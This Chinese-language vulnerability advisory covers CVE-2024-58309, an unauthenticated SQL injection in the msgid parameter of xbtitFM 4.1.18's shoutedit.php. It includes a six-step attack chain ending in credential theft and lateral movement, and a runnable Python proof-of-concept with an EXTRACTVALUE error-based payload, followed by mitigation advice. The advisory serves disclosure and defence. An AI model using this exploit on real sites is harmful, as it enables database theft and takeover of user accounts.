IPBUF安全漏洞报告
English
CVE-2024-58309 CVSS 9.8 严重

CVE-2024-58309: xbtitFM 4.1.18 shoutedit.php SQL注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2024-58309
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
xbtitFM

相关标签

SQL注入未认证漏洞xbtitFM远程代码执行数据库泄露CVSS 9.8CVE-2024-58309

漏洞概述

CVE-2024-58309是xbtitFM 4.1.18版本中的一个严重安全漏洞,属于未认证的SQL注入类型。该漏洞存在于shoutedit.php文件中,攻击者可以通过msgid参数注入恶意SQL代码,从而操纵数据库查询。由于该漏洞无需任何认证即可被利用,且CVSS评分高达9.8,属于极其危险的漏洞。攻击者利用此漏洞可以执行任意SQL查询,提取数据库中的敏感信息,包括数据库名称、用户凭据、密码哈希等。xbtitFM是一款基于Web的BitTorrent跟踪器软件,广泛应用于私人BT tracker站点。该漏洞由VulnCheck发现并披露,攻击者可在无需任何权限的情况下远程利用,对系统机密性、完整性和可用性造成严重影响。

技术细节

该SQL注入漏洞位于xbtitFM的/shoutedit.php文件中的msgid参数。攻击者可以通过HTTP请求向该参数注入恶意SQL代码,利用SQL的EXTRACTVALUE函数结合XML路径查询技术(XPATH)来提取数据库信息。攻击者发送精心构造的请求,通过EXTRACTVALUE函数触发数据库错误响应,从而在错误信息中获取敏感数据。典型的攻击Payload会使用如EXTRACTVALUE(0,CONCAT(0x7e,version()))等语句,强制数据库执行错误的XPATH查询,从而在错误消息中返回查询结果。由于该参数未对用户输入进行充分的输入验证和SQL语句参数化处理,导致恶意SQL代码被直接拼接到数据库查询语句中执行。攻击者可以遍历数据库结构,提取用户表中的用户名和密码哈希,进而获得系统访问权限。

攻击链分析

STEP 1
步骤1
扫描识别目标站点,确认运行xbtitFM 4.1.18版本
STEP 2
步骤2
访问/shoutedit.php页面,定位msgid参数
STEP 3
步骤3
构造包含SQL注入Payload的HTTP POST请求,使用EXTRACTVALUE函数
STEP 4
步骤4
发送恶意请求触发数据库错误响应,从错误信息中提取数据库版本信息
STEP 5
步骤5
逐步提取数据库名称、表结构、用户凭证和密码哈希
STEP 6
步骤6
利用获取的凭据进行后续攻击,如管理后台登录或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import argparse def exploit_sql_injection(target_url, payload): """ CVE-2024-58309 SQL Injection PoC for xbtitFM 4.1.18 Target: shoutedit.php msgid parameter """ # Target endpoint url = f"{target_url}/shoutedit.php" # SQL injection payload using EXTRACTVALUE # This payload extracts the database version data = { 'msgid': payload, 'action': 'edit' } try: # Send POST request without authentication response = requests.post(url, data=data, timeout=10) # Check for SQL error messages containing extracted data if 'XPATH' in response.text or 'EXTRACTVALUE' in response.text: print(f"[+] Injection successful!") print(f"[+] Response excerpt: {response.text[:500]}") else: print(f"[-] No obvious SQL injection response") print(f"[-] Status code: {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") # Example payloads if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2024-58309 SQL Injection PoC') parser.add_argument('--url', required=True, help='Target base URL (e.g., http://target.com)') parser.add_argument('--payload', default="1' AND EXTRACTVALUE(0,CONCAT(0x7e,version()))-- -", help='SQL injection payload') args = parser.parse_args() print(f"[*] Exploiting CVE-2024-58309 on {args.url}") exploit_sql_injection(args.url, args.payload)

影响范围

xbtitFM 4.1.18

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 通过Web服务器配置(如Nginx/Apache规则)限制对/shoutedit.php的访问;2) 临时禁用shout功能;3) 部署ModSecurity等WAF规则拦截包含SQL注入特征的请求;4) 监控日志中的异常SQL查询模式;5) 限制数据库用户的权限范围,防止敏感数据被提取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表